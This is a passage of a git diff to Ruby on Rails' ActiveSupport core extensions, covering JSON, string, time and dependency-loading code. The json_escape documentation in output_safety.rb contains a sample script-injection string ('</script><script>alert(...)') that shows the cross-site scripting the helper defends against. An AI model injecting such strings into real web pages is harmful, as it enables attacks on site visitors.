-# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
-# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
-[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
-  klass.class_eval do
-    # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
-    def to_json(options = nil)
-      ActiveSupport::JSON.encode(self, options)
-    end
-  end
-end
-
-module Process
-  class Status
-    def as_json(options = nil)
-      { :exitstatus => exitstatus, :pid => pid }
-    end
-  end
-end
+require 'active_support/core_ext/object/json'
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
index 0d5f350..e65fc5b 100644
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -52,7 +52,9 @@ class Hash
   # This method is also aliased as +to_query+.
   def to_param(namespace = nil)
     collect do |key, value|
-      value.to_query(namespace ? "#{namespace}[#{key}]" : key)
-    end.sort * '&'
+      unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
+        value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+      end
+    end.compact.sort! * '&'
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index 5d5fcf0..37352fa 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -18,7 +18,12 @@ class Array
   #   ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
   def to_query(key)
     prefix = "#{key}[]"
-    collect { |value| value.to_query(prefix) }.join '&'
+
+    if empty?
+      nil.to_query(prefix)
+    else
+      collect { |value| value.to_query(prefix) }.join '&'
+    end
   end
 end
 
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index 534bbe3..48190e1 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -47,7 +47,7 @@ class Object
   end
 
   # Same as #try, but will raise a NoMethodError exception if the receiving is not nil and
-  # does not implemented the tried method.
+  # does not implement the tried method.
   def try!(*a, &b)
     if a.empty? && block_given?
       yield self
diff --git a/activesupport/lib/active_support/core_ext/proc.rb b/activesupport/lib/active_support/core_ext/proc.rb
deleted file mode 100644
index 166c385..0000000
--- a/activesupport/lib/active_support/core_ext/proc.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/deprecation"
-
-class Proc #:nodoc:
-  def bind(object)
-    ActiveSupport::Deprecation.warn 'Proc#bind is deprecated and will be removed in future versions'
-
-    block, time = self, Time.now
-    object.class_eval do
-      method_name = "__bind_#{time.to_i}_#{time.usec}"
-      define_method(method_name, &block)
-      method = instance_method(method_name)
-      remove_method(method_name)
-      method
-    end.bind(object)
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb
index d51ea2e..ecef78f 100644
--- a/activesupport/lib/active_support/core_ext/range/each.rb
+++ b/activesupport/lib/active_support/core_ext/range/each.rb
@@ -1,5 +1,4 @@
 require 'active_support/core_ext/module/aliasing'
-require 'active_support/core_ext/object/acts_like'
 
 class Range #:nodoc:
 
@@ -17,7 +16,7 @@ class Range #:nodoc:
 
   private
   def ensure_iteration_allowed
-    if first.acts_like?(:time)
+    if first.is_a?(Time)
       raise TypeError, "can't iterate from #{first.class}"
     end
   end
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index 8fa8157..6018fd9 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -8,22 +8,22 @@ class String
   # the beginning of the range is greater than the end of the string.
   #
   #   str = "hello"
-  #   str.at(0)      #=> "h"
-  #   str.at(1..3)   #=> "ell"
-  #   str.at(-2)     #=> "l"
-  #   str.at(-2..-1) #=> "lo"
-  #   str.at(5)      #=> nil
-  #   str.at(5..-1)  #=> ""
+  #   str.at(0)      # => "h"
+  #   str.at(1..3)   # => "ell"
+  #   str.at(-2)     # => "l"
+  #   str.at(-2..-1) # => "lo"
+  #   str.at(5)      # => nil
+  #   str.at(5..-1)  # => ""
   #
   # If a Regexp is given, the matching portion of the string is returned.
   # If a String is given, that given string is returned if it occurs in
   # the string. In both cases, nil is returned if there is no match.
   #
   #   str = "hello"
-  #   str.at(/lo/) #=> "lo"
-  #   str.at(/ol/) #=> nil
-  #   str.at("lo") #=> "lo"
-  #   str.at("ol") #=> nil
+  #   str.at(/lo/) # => "lo"
+  #   str.at(/ol/) # => nil
+  #   str.at("lo") # => "lo"
+  #   str.at("ol") # => nil
   def at(position)
     self[position]
   end
@@ -32,15 +32,15 @@ class String
   # If the position is negative, it is counted from the end of the string.
   #
   #   str = "hello"
-  #   str.from(0)  #=> "hello"
-  #   str.from(3)  #=> "lo"
-  #   str.from(-2) #=> "lo"
+  #   str.from(0)  # => "hello"
+  #   str.from(3)  # => "lo"
+  #   str.from(-2) # => "lo"
   #
   # You can mix it with +to+ method and do fun things like:
   #
   #   str = "hello"
-  #   str.from(0).to(-1) #=> "hello"
-  #   str.from(1).to(-2) #=> "ell"
+  #   str.from(0).to(-1) # => "hello"
+  #   str.from(1).to(-2) # => "ell"
   def from(position)
     self[position..-1]
   end
@@ -49,15 +49,15 @@ class String
   # If the position is negative, it is counted from the end of the string.
   #
   #   str = "hello"
-  #   str.to(0)  #=> "h"
-  #   str.to(3)  #=> "hell"
-  #   str.to(-2) #=> "hell"
+  #   str.to(0)  # => "h"
+  #   str.to(3)  # => "hell"
+  #   str.to(-2) # => "hell"
   #
   # You can mix it with +from+ method and do fun things like:
   #
   #   str = "hello"
-  #   str.from(0).to(-1) #=> "hello"
-  #   str.from(1).to(-2) #=> "ell"
+  #   str.from(0).to(-1) # => "hello"
+  #   str.from(1).to(-2) # => "ell"
   def to(position)
     self[0..position]
   end
@@ -67,11 +67,11 @@ class String
   # given limit is greater than or equal to the string length, returns self.
   #
   #   str = "hello"
-  #   str.first    #=> "h"
-  #   str.first(1) #=> "h"
-  #   str.first(2) #=> "he"
-  #   str.first(0) #=> ""
-  #   str.first(6) #=> "hello"
+  #   str.first    # => "h"
+  #   str.first(1) # => "h"
+  #   str.first(2) # => "he"
+  #   str.first(0) # => ""
+  #   str.first(6) # => "hello"
   def first(limit = 1)
     if limit == 0
       ''
@@ -87,11 +87,11 @@ class String
   # the given limit is greater than or equal to the string length, returns self.
   #
   #   str = "hello"
-  #   str.last    #=> "o"
-  #   str.last(1) #=> "o"
-  #   str.last(2) #=> "lo"
-  #   str.last(0) #=> ""
-  #   str.last(6) #=> "hello"
+  #   str.last    # => "o"
+  #   str.last(1) # => "o"
+  #   str.last(2) # => "lo"
+  #   str.last(0) # => ""
+  #   str.last(6) # => "hello"
   def last(limit = 1)
     if limit == 0
       ''
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
index d2a2db3..3e0cb8a 100644
--- a/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -15,6 +15,7 @@ class String
   #   "2012-12-13 06:12".to_time         # => 2012-12-13 06:12:00 +0100
   #   "2012-12-13T06:12".to_time         # => 2012-12-13 06:12:00 +0100
   #   "2012-12-13T06:12".to_time(:utc)   # => 2012-12-13 05:12:00 UTC
+  #   "12/13/2012".to_time               # => ArgumentError: argument out of range
   def to_time(form = :local)
     parts = Date._parse(self, false)
     return if parts.empty?
@@ -35,20 +36,20 @@ class String
 
   # Converts a string to a Date value.
   #
-  #   "1-1-2012".to_date   #=> Sun, 01 Jan 2012
-  #   "01/01/2012".to_date #=> Sun, 01 Jan 2012
-  #   "2012-12-13".to_date #=> Thu, 13 Dec 2012
-  #   "12/13/2012".to_date #=> ArgumentError: invalid date
+  #   "1-1-2012".to_date   # => Sun, 01 Jan 2012
+  #   "01/01/2012".to_date # => Sun, 01 Jan 2012
+  #   "2012-12-13".to_date # => Thu, 13 Dec 2012
+  #   "12/13/2012".to_date # => ArgumentError: invalid date
   def to_date
     ::Date.parse(self, false) unless blank?
   end
 
   # Converts a string to a DateTime value.
   #
-  #   "1-1-2012".to_datetime            #=> Sun, 01 Jan 2012 00:00:00 +0000
-  #   "01/01/2012 23:59:59".to_datetime #=> Sun, 01 Jan 2012 23:59:59 +0000
-  #   "2012-12-13 12:50".to_datetime    #=> Thu, 13 Dec 2012 12:50:00 +0000
-  #   "12/13/2012".to_datetime          #=> ArgumentError: invalid date
+  #   "1-1-2012".to_datetime            # => Sun, 01 Jan 2012 00:00:00 +0000
+  #   "01/01/2012 23:59:59".to_datetime # => Sun, 01 Jan 2012 23:59:59 +0000
+  #   "2012-12-13 12:50".to_datetime    # => Thu, 13 Dec 2012 12:50:00 +0000
+  #   "12/13/2012".to_datetime          # => ArgumentError: invalid date
   def to_datetime
     ::DateTime.parse(self, false) unless blank?
   end
diff --git a/activesupport/lib/active_support/core_ext/string/encoding.rb b/activesupport/lib/active_support/core_ext/string/encoding.rb
deleted file mode 100644
index a583b91..0000000
--- a/activesupport/lib/active_support/core_ext/string/encoding.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'active_support/deprecation'
-
-class String
-  def encoding_aware?
-    ActiveSupport::Deprecation.warn 'String#encoding_aware? is deprecated'
-    true
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
index 114bcb8..0ac684f 100644
--- a/activesupport/lib/active_support/core_ext/string/exclude.rb
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -2,9 +2,9 @@ class String
   # The inverse of <tt>String#include?</tt>. Returns true if the string
   # does not include the other string.
   #
-  #   "hello".exclude? "lo" #=> false
-  #   "hello".exclude? "ol" #=> true
-  #   "hello".exclude? ?h   #=> false
+  #   "hello".exclude? "lo" # => false
+  #   "hello".exclude? "ol" # => true
+  #   "hello".exclude? ?h   # => false
   def exclude?(string)
     !include?(string)
   end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index c62bb41..49c0df6 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -20,6 +20,16 @@ class String
     self
   end
 
+  # Returns a new string with all occurrences of the pattern removed. Short-hand for String#gsub(pattern, '').
+  def remove(pattern)
+    gsub pattern, ''
+  end
+
+  # Alters the string by removing all occurrences of the pattern. Short-hand for String#gsub!(pattern, '').
+  def remove!(pattern)
+    gsub! pattern, ''
+  end
+
   # Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
   #
   #   'Once upon a time in a world far far away'.truncate(27)
@@ -41,8 +51,8 @@ class String
   def truncate(truncate_at, options = {})
     return dup unless length > truncate_at
 
-    options[:omission] ||= '...'
-    length_with_room_for_omission = truncate_at - options[:omission].length
+    omission = options[:omission] || '...'
+    length_with_room_for_omission = truncate_at - omission.length
     stop = \
       if options[:separator]
         rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
@@ -50,6 +60,6 @@ class String
         length_with_room_for_omission
       end
 
-    "#{self[0...stop]}#{options[:omission]}"
+    "#{self[0, stop]}#{omission}"
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 0b506a6..cf9b1a4 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -182,21 +182,23 @@ class String
   #
   #   'egg_and_hams'.classify # => "EggAndHam"
   #   'posts'.classify        # => "Post"
-  #
-  # Singular names are not handled correctly.
-  #
-  #   'business'.classify # => "Busines"
   def classify
     ActiveSupport::Inflector.classify(self)
   end
 
-  # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
+  # Capitalizes the first word, turns underscores into spaces, and strips a
+  # trailing '_id' if present.
   # Like +titleize+, this is meant for creating pretty output.
   #
-  #   'employee_salary'.humanize # => "Employee salary"
-  #   'author_id'.humanize       # => "Author"
-  def humanize
-    ActiveSupport::Inflector.humanize(self)
+  # The capitalization of the first word can be turned off by setting the
+  # optional parameter +capitalize+ to false.
+  # By default, this parameter is true.
+  #
+  #   'employee_salary'.humanize              # => "Employee salary"
+  #   'author_id'.humanize                    # => "Author"
+  #   'author_id'.humanize(capitalize: false) # => "author"
+  def humanize(options = {})
+    ActiveSupport::Inflector.humanize(self, options)
   end
 
   # Creates a foreign key name from a class name.
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index dc033ed..eb02b6a 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -4,9 +4,10 @@ require 'active_support/core_ext/kernel/singleton_class'
 class ERB
   module Util
     HTML_ESCAPE = { '&' => '&',  '>' => '>',   '<' => '<', '"' => '"', "'" => ''' }
-    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+    HTML_ESCAPE_REGEXP = /[&"'><]/
     HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
-    JSON_ESCAPE_REGEXP = /[&"><]/
+    JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
 
     # A utility method for escaping HTML tag characters.
     # This method is also aliased as <tt>h</tt>.
@@ -21,7 +22,7 @@ class ERB
       if s.html_safe?
         s
       else
-        s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
+        s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE).html_safe
       end
     end
 
@@ -48,17 +49,56 @@ class ERB
 
     module_function :html_escape_once
 
-    # A utility method for escaping HTML entities in JSON strings
-    # using \uXXXX JavaScript escape sequences for string literals:
+    # A utility method for escaping HTML entities in JSON strings. Specifically, the
+    # &, > and < characters are replaced with their equivalent unicode escaped form -
+    # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+    # escaped as they are treated as newline characters in some JavaScript engines.
+    # These sequences have identical meaning as the original characters inside the
+    # context of a JSON string, so assuming the input is a valid and well-formed
+    # JSON value, the output will have equivalent meaning when parsed:
     #
-    #   json_escape('is a > 0 & a < 10?')
-    #   # => is a \u003E 0 \u0026 a \u003C 10?
+    #   json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+    #   # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
     #
-    # Note that after this operation is performed the output is not
-    # valid JSON. In particular double quotes are removed:
+    #   json_escape(json)
+    #   # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
     #
-    #   json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
-    #   # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
+    #   JSON.parse(json) == JSON.parse(json_escape(json))
+    #   # => true
+    #
+    # The intended use case for this method is to escape JSON strings before including
+    # them inside a script tag to avoid XSS vulnerability:
+    #
+    #   <script>
+    #     var currentUser = <%= raw json_escape(current_user.to_json) %>;
+    #   </script>
+    #
+    # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
+    # don't get converted to <tt>"</tt> entities. +json_escape+ doesn't
+    # automatically flag the result as HTML safe, since the raw value is unsafe to
+    # use inside HTML attributes.
+    #
+    # If you need to output JSON elsewhere in your HTML, you can just do something
+    # like this, as any unsafe characters (including quotation marks) will be
+    # automatically escaped for you:
+    #
+    #   <div data-user-info="<%= current_user.to_json %>">...</div>
+    #
+    # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+    # will open up serious XSS vulnerabilities. For example, if you replace the
+    # +current_user.to_json+ in the example above with user input instead, the browser
+    # will happily eval() that string as JavaScript.
+    #
+    # The escaping performed in this method is identical to those performed in the
+    # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+    # set to true. Because this transformation is idempotent, this helper can be
+    # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+    #
+    # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+    # is enabled, or if you are unsure where your JSON string originated from, it
+    # is recommended that you always apply this helper (other libraries, such as the
+    # JSON gem, do not provide this kind of protection by default; also some gems
+    # might override +to_json+ to bypass Active Support's encoder).
     def json_escape(s)
       result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
       s.html_safe? ? result.html_safe : result
@@ -143,15 +183,14 @@ module ActiveSupport #:nodoc:
     end
 
     def %(args)
-      args = Array(args).map do |arg|
-        if !html_safe? || arg.html_safe?
-          arg
-        else
-          ERB::Util.h(arg)
-        end
+      case args
+      when Hash
+        escaped_args = Hash[args.map { |k,arg| [k, html_escape_interpolated_argument(arg)] }]
+      else
+        escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
       end
 
-      self.class.new(super(args))
+      self.class.new(super(escaped_args))
     end
 
     def html_safe?
@@ -171,7 +210,7 @@ module ActiveSupport #:nodoc:
     end
 
     UNSAFE_STRING_METHODS.each do |unsafe_method|
-      if 'String'.respond_to?(unsafe_method)
+      if unsafe_method.respond_to?(unsafe_method)
         class_eval <<-EOT, __FILE__, __LINE__ + 1
           def #{unsafe_method}(*args, &block)       # def capitalize(*args, &block)
             to_str.#{unsafe_method}(*args, &block)  #   to_str.capitalize(*args, &block)
@@ -184,6 +223,12 @@ module ActiveSupport #:nodoc:
         EOT
       end
     end
+
+    private
+
+    def html_escape_interpolated_argument(arg)
+      (!html_safe? || arg.html_safe?) ? arg : ERB::Util.h(arg)
+    end
   end
 end
 
diff --git a/activesupport/lib/active_support/core_ext/string/zones.rb b/activesupport/lib/active_support/core_ext/string/zones.rb
index e3f20ee..510c884 100644
--- a/activesupport/lib/active_support/core_ext/string/zones.rb
+++ b/activesupport/lib/active_support/core_ext/string/zones.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/string/conversions'
 require 'active_support/core_ext/time/zones'
 
 class String
diff --git a/activesupport/lib/active_support/core_ext/thread.rb b/activesupport/lib/active_support/core_ext/thread.rb
index e80f442..ac1ffa4 100644
--- a/activesupport/lib/active_support/core_ext/thread.rb
+++ b/activesupport/lib/active_support/core_ext/thread.rb
@@ -33,14 +33,14 @@ class Thread
     _locals[key.to_sym] = value
   end
 
-  # Returns an an array of the names of the thread-local variables (as Symbols).
+  # Returns an array of the names of the thread-local variables (as Symbols).
   #
   #    thr = Thread.new do
   #      Thread.current.thread_variable_set(:cat, 'meow')
   #      Thread.current.thread_variable_set("dog", 'woof')
   #    end
-  #    thr.join               #=> #<Thread:0x401b3f10 dead>
-  #    thr.thread_variables   #=> [:dog, :cat]
+  #    thr.join               # => #<Thread:0x401b3f10 dead>
+  #    thr.thread_variables   # => [:dog, :cat]
   #
   # Note that these are not fiber local variables. Please see Thread#thread_variable_get
   # for more details.
@@ -53,8 +53,8 @@ class Thread
   #
   #    me = Thread.current
   #    me.thread_variable_set(:oliver, "a")
-  #    me.thread_variable?(:oliver)    #=> true
-  #    me.thread_variable?(:stanley)   #=> false
+  #    me.thread_variable?(:oliver)    # => true
+  #    me.thread_variable?(:stanley)   # => false
   #
   # Note that these are not fiber local variables. Please see Thread#thread_variable_get
   # for more details.
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 0e4867c..89cd751 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -3,7 +3,6 @@ require 'active_support/core_ext/time/conversions'
 require 'active_support/time_with_zone'
 require 'active_support/core_ext/time/zones'
 require 'active_support/core_ext/date_and_time/calculations'
-require 'active_support/deprecation'
 
 class Time
   include DateAndTime::Calculations
@@ -26,41 +25,6 @@ class Time
       end
     end
 
-    # *DEPRECATED*: Use +Time#utc+ or +Time#local+ instead.
-    #
-    # Returns a new Time if requested year can be accommodated by Ruby's Time class
-    # (i.e., if year is within either 1970..2038 or 1902..2038, depending on system architecture);
-    # otherwise returns a DateTime.
-    def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
-      ActiveSupport::Deprecation.warn 'time_with_datetime_fallback is deprecated. Use Time#utc or Time#local instead', caller
-      time = ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
-
-      # This check is needed because Time.utc(y) returns a time object in the 2000s for 0 <= y <= 138.
-      if time.year == year
-        time
-      else
-        ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
-      end
-    rescue
-      ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
-    end
-
-    # *DEPRECATED*: Use +Time#utc+ instead.
-    #
-    # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:utc</tt>.
-    def utc_time(*args)
-      ActiveSupport::Deprecation.warn 'utc_time is deprecated. Use Time#utc instead', caller
-      time_with_datetime_fallback(:utc, *args)
-    end
-
-    # *DEPRECATED*: Use +Time#local+ instead.
-    #
-    # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:local</tt>.
-    def local_time(*args)
-      ActiveSupport::Deprecation.warn 'local_time is deprecated. Use Time#local instead', caller
-      time_with_datetime_fallback(:local, *args)
-    end
-
     # Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>.
     def current
       ::Time.zone ? ::Time.zone.now : ::Time.now
@@ -127,10 +91,11 @@ class Time
     end
   end
 
-  # Uses Date to provide precise Time calculations for years, months, and days.
-  # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
-  # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
-  # <tt>:minutes</tt>, <tt>:seconds</tt>.
+  # Uses Date to provide precise Time calculations for years, months, and days
+  # according to the proleptic Gregorian calendar. The +options+ parameter
+  # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>,
+  # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>,
+  # <tt>:seconds</tt>.
   def advance(options)
     unless options[:weeks].nil?
       options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -143,6 +108,7 @@ class Time
     end
 
     d = to_date.advance(options)
+    d = d.gregorian if d.julian?
     time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
     seconds_to_advance = \
       options.fetch(:seconds, 0) +
@@ -178,6 +144,16 @@ class Time
   alias :at_midnight :beginning_of_day
   alias :at_beginning_of_day :beginning_of_day
 
+  # Returns a new Time representing the middle of the day (12:00)
+  def middle_of_day
+    change(:hour => 12)
+  end
+  alias :midday :middle_of_day
+  alias :noon :middle_of_day
+  alias :at_midday :middle_of_day
+  alias :at_noon :middle_of_day
+  alias :at_middle_of_day :middle_of_day
+
   # Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
   def end_of_day
     change(
@@ -225,27 +201,6 @@ class Time
     beginning_of_day..end_of_day
   end
 
-  # Returns a Range representing the whole week of the current time.
-  # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
-  def all_week(start_day = Date.beginning_of_week)
-    beginning_of_week(start_day)..end_of_week(start_day)
-  end
-
-  # Returns a Range representing the whole month of the current time.
-  def all_month
-    beginning_of_month..end_of_month
-  end
-
-  # Returns a Range representing the whole quarter of the current time.
-  def all_quarter
-    beginning_of_quarter..end_of_quarter
-  end
-
-  # Returns a Range representing the whole year of the current time.
-  def all_year
-    beginning_of_year..end_of_year
-  end
-
   def plus_with_duration(other) #:nodoc:
     if ActiveSupport::Duration === other
       other.since(self)
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index 48654eb..9fd2615 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -16,7 +16,8 @@ class Time
     :rfc822       => lambda { |time|
       offset_format = time.formatted_offset(false)
       time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
-    }
+    },
+    :iso8601      => lambda { |time| time.iso8601 }
   }
 
   # Converts to a formatted string. See DATE_FORMATS for builtin formats.
@@ -34,6 +35,7 @@ class Time
   #   time.to_formatted_s(:long)         # => "January 18, 2007 06:10"
   #   time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
   #   time.to_formatted_s(:rfc822)       # => "Thu, 18 Jan 2007 06:10:17 -0600"
+  #   time.to_formatted_s(:iso8601)      # => "2007-01-18T06:10:17-06:00"
   #
   # == Adding your own time formats to +to_formatted_s+
   # You can add your own formats to the Time::DATE_FORMATS hash.
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index 139d48f..bbda04d 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -1,6 +1,8 @@
 require 'active_support/time_with_zone'
+require 'active_support/core_ext/date_and_time/zones'
 
 class Time
+  include DateAndTime::Zones
   class << self
     attr_accessor :zone_default
 
@@ -73,24 +75,4 @@ class Time
       find_zone!(time_zone) rescue nil
     end
   end
-
-  # Returns the simultaneous time in <tt>Time.zone</tt>.
-  #
-  #   Time.zone = 'Hawaii'        # => 'Hawaii'
-  #   Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-  #
-  # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
-  # instead of the operating system's time zone.
-  #
-  # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
-  # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
-  #
-  #   Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
-  def in_time_zone(zone = ::Time.zone)
-    if zone
-      ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
-    else
-      self
-    end
-  end
 end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index 7f2f4f5..59675d7 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -176,14 +176,22 @@ module ActiveSupport #:nodoc:
       end
 
       def const_missing(const_name)
-        # The interpreter does not pass nesting information, and in the
-        # case of anonymous modules we cannot even make the trade-off of
-        # assuming their name reflects the nesting. Resort to Object as
-        # the only meaningful guess we can make.
-        from_mod = anonymous? ? ::Object : self
+        from_mod = anonymous? ? guess_for_anonymous(const_name) : self
         Dependencies.load_missing_constant(from_mod, const_name)
       end
 
+      # Dependencies assumes the name of the module reflects the nesting (unless
+      # it can be proven that is not the case), and the path to the file that
+      # defines the constant. Anonymous modules cannot follow these conventions
+      # and we assume therefore the user wants to refer to a top-level constant.
+      def guess_for_anonymous(const_name)
+        if Object.const_defined?(const_name)
+          raise NameError, "#{const_name} cannot be autoloaded from an anonymous class or module"
+        else
+          Object
+        end
+      end
+
       def unloadable(const_desc = self)
         super(const_desc)
       end
@@ -199,9 +207,19 @@ module ActiveSupport #:nodoc:
         Dependencies.require_or_load(file_name)
       end
 
+      # Interprets a file using <tt>mechanism</tt> and marks its defined
+      # constants as autoloaded. <tt>file_name</tt> can be either a string or
+      # respond to <tt>to_path</tt>.
+      #
+      # Use this method in code that absolutely needs a certain constant to be
+      # defined at that point. A typical use case is to make constant name
+      # resolution deterministic for constants with the same relative name in
+      # different namespaces whose evaluation would depend on load order
+      # otherwise.
       def require_dependency(file_name, message = "No such file to load -- %s")
+        file_name = file_name.to_path if file_name.respond_to?(:to_path)
         unless file_name.is_a?(String)
-          raise ArgumentError, "the file name must be a String -- you passed #{file_name.inspect}"
+          raise ArgumentError, "the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}"
         end
 
         Dependencies.depend_on(file_name, message)
@@ -389,7 +407,8 @@ module ActiveSupport #:nodoc:
     end
 
     def load_once_path?(path)
-      # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false
+      # to_s works around a ruby1.9 issue where String#starts_with?(Pathname)
+      # will raise a TypeError: no implicit conversion of Pathname into String
       autoload_once_paths.any? { |base| path.starts_with? base.to_s }
     end
 
@@ -417,7 +436,7 @@ module ActiveSupport #:nodoc:
     def load_file(path, const_paths = loadable_constants_for_path(path))
       log_call path, const_paths
       const_paths = [const_paths].compact unless const_paths.is_a? Array
-      parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || :Object }
+      parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || ::Object }
 
       result = nil
       newly_defined_paths = new_constants_in(*parent_paths) do
@@ -446,8 +465,6 @@ module ActiveSupport #:nodoc:
         raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
       end
 
-      raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
-
       qualified_name = qualified_name_for from_mod, const_name
       path_suffix = qualified_name.underscore
 
@@ -635,7 +652,7 @@ module ActiveSupport #:nodoc:
